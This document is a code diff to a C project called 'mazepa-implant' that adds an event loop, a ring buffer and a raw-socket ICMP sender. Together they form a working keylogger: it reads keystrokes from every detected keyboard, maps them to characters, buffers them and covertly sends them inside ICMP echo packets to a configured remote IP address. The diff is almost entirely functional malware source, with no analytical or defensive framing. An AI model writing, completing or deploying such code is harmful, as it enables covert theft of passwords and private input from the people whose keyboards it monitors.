diff --git a/mazepa-implant/Makefile b/mazepa-implant/Makefile
@@ -36,7 +36,7 @@ OBJECT_DIR = ./objects
vpath %$(PATTERN) $(SRC_DIR)
MAIN = main.c
-SRC = opt.c utils.c daemon.c kbd.c
+SRC = opt.c utils.c daemon.c kbd.c ringbuf.c icmp.c evloop.c
COMBINED = $(SRC) $(MAIN)
diff --git a/mazepa-implant/includes/implant.h b/mazepa-implant/includes/implant.h
@@ -15,6 +15,10 @@
#define QUEUE_BUFFER_SIZE 1024
#define STRING_BUFFER_SIZE 256
+#define MAX_KEYBOARDS 16
+#define ICMP_DATA_SIZE 56
+#define RINGBUF_SIZE 512
+#define RINGBUF_FLUSH_THRESHOLD (RINGBUF_SIZE - 64)
/* will be overriden at compile-time if prod-mode enabled */
#define BLOCK_SIZE 64
@@ -25,6 +29,13 @@
#define KEY ("")
#define IV ("")
+typedef struct ringbuf_s {
+ uint8_t data[RINGBUF_SIZE];
+ size_t head;
+ size_t tail;
+ size_t count;
+} ringbuf_t;
+
/*
represents whatever data is currently logged for a single keyboard
also holds its file descriptor
@@ -99,4 +110,16 @@ int8_t **array_from_string(const int8_t *, int8_t);
int8_t ascii_to_hex(char input[STRING_BUFFER_SIZE / 2], char output[STRING_BUFFER_SIZE]);
int8_t hex_to_ascii(char input[STRING_BUFFER_SIZE], char output[STRING_BUFFER_SIZE]);
+// ringbuf.c
+void ringbuf_init(ringbuf_t *rb);
+uint8_t ringbuf_push(ringbuf_t *rb, uint8_t byte);
+size_t ringbuf_read(ringbuf_t *rb, uint8_t *dst, size_t len);
+int ringbuf_should_flush(ringbuf_t *rb);
+
+// icmp.c
+uint8_t icmp_send(const int8_t *dst_ip, const uint8_t *payload, size_t len);
+
+// evloop.c
+uint8_t evloop_run(implant_t *instance);
+
#endif /* IMPLANT_H */
diff --git a/mazepa-implant/sources/evloop.c b/mazepa-implant/sources/evloop.c
@@ -0,0 +1,185 @@
+#include "implant.h"
+
+#include <fcntl.h>
+#include <linux/input.h>
+#include <linux/kd.h>
+#include <linux/keyboard.h>
+#include <string.h>
+#include <sys/epoll.h>
+#include <sys/ioctl.h>
+
+#define MAX_EVENTS 16
+#define KEYMAP_SIZE 256
+
+typedef struct {
+ char normal[KEYMAP_SIZE];
+ char shifted[KEYMAP_SIZE];
+} keymap_cache_t;
+
+static int
+open_console(void) {
+ const char *consoles[] = {"/dev/tty0", "/dev/console", "/dev/tty", NULL};
+
+ for (int i = 0; consoles[i] != NULL; i++) {
+ int fd = open(consoles[i], O_RDONLY | O_NOCTTY);
+ if (fd >= 0)
+ return fd;
+ }
+ return -1;
+}
+
+static void
+cache_keymap(int console_fd, keymap_cache_t *cache) {
+ struct kbentry entry = {0};
+
+ memset(cache, 0, sizeof(*cache));
+
+ cache->normal[KEY_ENTER] = '\n';
+ cache->normal[KEY_KPENTER] = '\n';
+ cache->normal[KEY_TAB] = '\t';
+ cache->normal[KEY_SPACE] = ' ';
+ cache->shifted[KEY_ENTER] = '\n';
+ cache->shifted[KEY_KPENTER] = '\n';
+ cache->shifted[KEY_TAB] = '\t';
+ cache->shifted[KEY_SPACE] = ' ';
+
+ for (int code = 0; code < KEYMAP_SIZE; code++) {
+ if (cache->normal[code] != 0)
+ continue;
+
+ entry.kb_table = K_NORMTAB;
+ entry.kb_index = (unsigned char)code;
+ if (ioctl(console_fd, KDGKBENT, &entry) == 0) {
+ unsigned char type = KTYP(entry.kb_value);
+ if (type == KT_LETTER || type == KT_LATIN)
+ cache->normal[code] = (char)KVAL(entry.kb_value);
+ }
+
+ entry.kb_table = K_SHIFTTAB;
+ entry.kb_index = (unsigned char)code;
+ if (ioctl(console_fd, KDGKBENT, &entry) == 0) {
+ unsigned char type = KTYP(entry.kb_value);
+ if (type == KT_LETTER || type == KT_LATIN)
+ cache->shifted[code] = (char)KVAL(entry.kb_value);
+ }
+ }
+}
+
+static char
+keycode_to_char(keymap_cache_t *cache, uint16_t code, int shift_held) {
+ if (code >= KEYMAP_SIZE)
+ return 0;
+
+ return shift_held ? cache->shifted[code] : cache->normal[code];
+}
+
+static void
+flush_buffer(ringbuf_t *rb, const int8_t *dst_ip) {
+ uint8_t payload[ICMP_DATA_SIZE] = {0};
+ size_t bytes_read;
+
+ bytes_read = ringbuf_read(rb, payload, ICMP_DATA_SIZE);
+ if (bytes_read > 0)
+ icmp_send(dst_ip, payload, bytes_read);
+}
+
+static void
+handle_key_event(keymap_cache_t *cache, struct input_event *ev, ringbuf_t *rb, int *shift_held) {
+ char ch;
+
+ if (ev->type != EV_KEY)
+ return;
+
+ if (ev->code == KEY_LEFTSHIFT || ev->code == KEY_RIGHTSHIFT) {
+ *shift_held = (ev->value != KEY_RELEASED);
+ return;
+ }
+
+ if (ev->value != KEY_PRESSED)
+ return;
+
+ ch = keycode_to_char(cache, ev->code, *shift_held);
+ if (ch != 0)
+ ringbuf_push(rb, (uint8_t)ch);
+}
+
+static int
+setup_epoll(implant_t *instance) {
+ keyboard_t *kbd;
+ struct epoll_event ev;
+ int epfd;
+
+ epfd = epoll_create1(0);
+ if (epfd < 0)
+ return -1;
+
+ TAILQ_FOREACH(kbd, &instance->kbd, devices) {
+ ev.events = EPOLLIN;
+ ev.data.fd = kbd->fd;
+ if (epoll_ctl(epfd, EPOLL_CTL_ADD, kbd->fd, &ev) < 0) {
+#ifdef DEBUG
+ DEBUG_LOG("epoll_ctl failed for fd %d\n", kbd->fd);
+#endif
+ continue;
+ }
+ }
+
+ return epfd;
+}
+
+uint8_t
+evloop_run(implant_t *instance) {
+ struct epoll_event events[MAX_EVENTS];
+ struct input_event ev;
+ keymap_cache_t keymap = {0};
+ ringbuf_t ringbuf = {0};
+ int console_fd;
+ int epfd;
+ int shift_held = 0;
+ int nfds;
+
+ if (!instance)
+ return ERROR;
+
+ console_fd = open_console();
+ if (console_fd < 0) {
+#ifdef DEBUG
+ DEBUG_LOG("evloop: could not open console\n");
+#endif
+ return ERROR;
+ }
+
+ cache_keymap(console_fd, &keymap);
+ close(console_fd);
+
+ ringbuf_init(&ringbuf);
+
+ epfd = setup_epoll(instance);
+ if (epfd < 0) {
+#ifdef DEBUG
+ DEBUG_LOG("evloop: epoll_create1 failed\n");
+#endif
+ return ERROR;
+ }
+
+ for (;;) {
+ nfds = epoll_wait(epfd, events, MAX_EVENTS, -1);
+ if (nfds < 0) {
+#ifdef DEBUG
+ DEBUG_LOG("evloop: epoll_wait failed\n");
+#endif
+ continue;
+ }
+
+ for (int i = 0; i < nfds; i++) {
+ ssize_t bytes = read(events[i].data.fd, &ev, sizeof(ev));
+ if (bytes != sizeof(ev))
+ continue;
+
+ handle_key_event(&keymap, &ev, &ringbuf, &shift_held);
+
+ if (ringbuf_should_flush(&ringbuf))
+ flush_buffer(&ringbuf, instance->ip);
+ }
+ }
+}
diff --git a/mazepa-implant/sources/icmp.c b/mazepa-implant/sources/icmp.c
@@ -0,0 +1,94 @@
+#include "implant.h"
+
+#include <arpa/inet.h>
+#include <netinet/ip_icmp.h>
+#include <string.h>
+#include <sys/socket.h>
+
+typedef struct {
+ struct icmphdr hdr;
+ uint8_t data[ICMP_DATA_SIZE];
+} icmp_packet_t;
+
+static uint16_t
+icmp_checksum(const void *buf, size_t len) {
+ const uint8_t *ptr = buf;
+ uint32_t sum = 0;
+
+ while (len > 1) {
+ uint16_t word;
+ memcpy(&word, ptr, sizeof(word));
+ sum += word;
+ ptr += 2;
+ len -= 2;
+ }
+
+ if (len == 1)
+ sum += *ptr;
+
+ sum = (sum >> 16) + (sum & 0xFFFF);
+ sum += (sum >> 16);
+
+ return (uint16_t)(~sum);
+}
+
+static void
+build_icmp_packet(icmp_packet_t *pkt, const uint8_t *payload, size_t payload_len) {
+ static uint16_t seq = 0;
+
+ memset(pkt, 0, sizeof(*pkt));
+
+ pkt->hdr.type = ICMP_ECHO;
+ pkt->hdr.code = 0;
+ pkt->hdr.un.echo.id = htons((uint16_t)getpid());
+ pkt->hdr.un.echo.sequence = htons(seq++);
+ pkt->hdr.checksum = 0;
+
+ size_t copy_len = payload_len < ICMP_DATA_SIZE ? payload_len : ICMP_DATA_SIZE;
+ memcpy(pkt->data, payload, copy_len);
+
+ pkt->hdr.checksum = icmp_checksum(pkt, sizeof(*pkt));
+}
+
+uint8_t
+icmp_send(const int8_t *dst_ip, const uint8_t *payload, size_t len) {
+ icmp_packet_t packet = {0};
+ struct sockaddr_in dest = {0};
+ int sockfd;
+
+ if (!dst_ip || !payload)
+ return ERROR;
+
+ sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
+ if (sockfd < 0) {
+#ifdef DEBUG
+ DEBUG_LOG("icmp_send: socket creation failed\n");
+#endif
+ return ERROR;
+ }
+
+ dest.sin_family = AF_INET;
+ if (inet_pton(AF_INET, (const char *)dst_ip, &dest.sin_addr) != 1) {
+#ifdef DEBUG
+ DEBUG_LOG("icmp_send: invalid IP address %s\n", dst_ip);
+#endif
+ close(sockfd);
+ return ERROR;
+ }
+
+ build_icmp_packet(&packet, payload, len);
+
+ ssize_t sent = sendto(sockfd, &packet, sizeof(packet), 0,
+ (struct sockaddr *)&dest, sizeof(dest));
+
+ close(sockfd);
+
+ if (sent < 0) {
+#ifdef DEBUG
+ DEBUG_LOG("icmp_send: sendto failed\n");
+#endif
+ return ERROR;
+ }
+
+ return SUCCESSFUL;
+}
diff --git a/mazepa-implant/sources/main.c b/mazepa-implant/sources/main.c
@@ -32,5 +32,8 @@ int main(
if (ERROR == fetch_available_keyboards(&instance))
return 1;
+ if (ERROR == evloop_run(&instance))
+ return 1;
+
return 0;
}
diff --git a/mazepa-implant/sources/ringbuf.c b/mazepa-implant/sources/ringbuf.c
@@ -0,0 +1,38 @@
+#include "implant.h"
+
+#include <string.h>
+
+void ringbuf_init(ringbuf_t *rb) {
+ memset(rb->data, 0, RINGBUF_SIZE);
+ rb->head = 0;
+ rb->tail = 0;
+ rb->count = 0;
+}
+
+uint8_t
+ringbuf_push(ringbuf_t *rb, uint8_t byte) {
+ if (rb->count >= RINGBUF_SIZE)
+ return ERROR;
+
+ rb->data[rb->head] = byte;
+ rb->head = (rb->head + 1) % RINGBUF_SIZE;
+ rb->count++;
+ return SUCCESSFUL;
+}
+
+size_t
+ringbuf_read(ringbuf_t *rb, uint8_t *dst, size_t len) {
+ size_t bytes_read = 0;
+
+ while (bytes_read < len && rb->count > 0) {
+ dst[bytes_read] = rb->data[rb->tail];
+ rb->tail = (rb->tail + 1) % RINGBUF_SIZE;
+ rb->count--;
+ bytes_read++;
+ }
+ return bytes_read;
+}
+
+int ringbuf_should_flush(ringbuf_t *rb) {
+ return rb->count >= RINGBUF_FLUSH_THRESHOLD;
+}
| | | | | |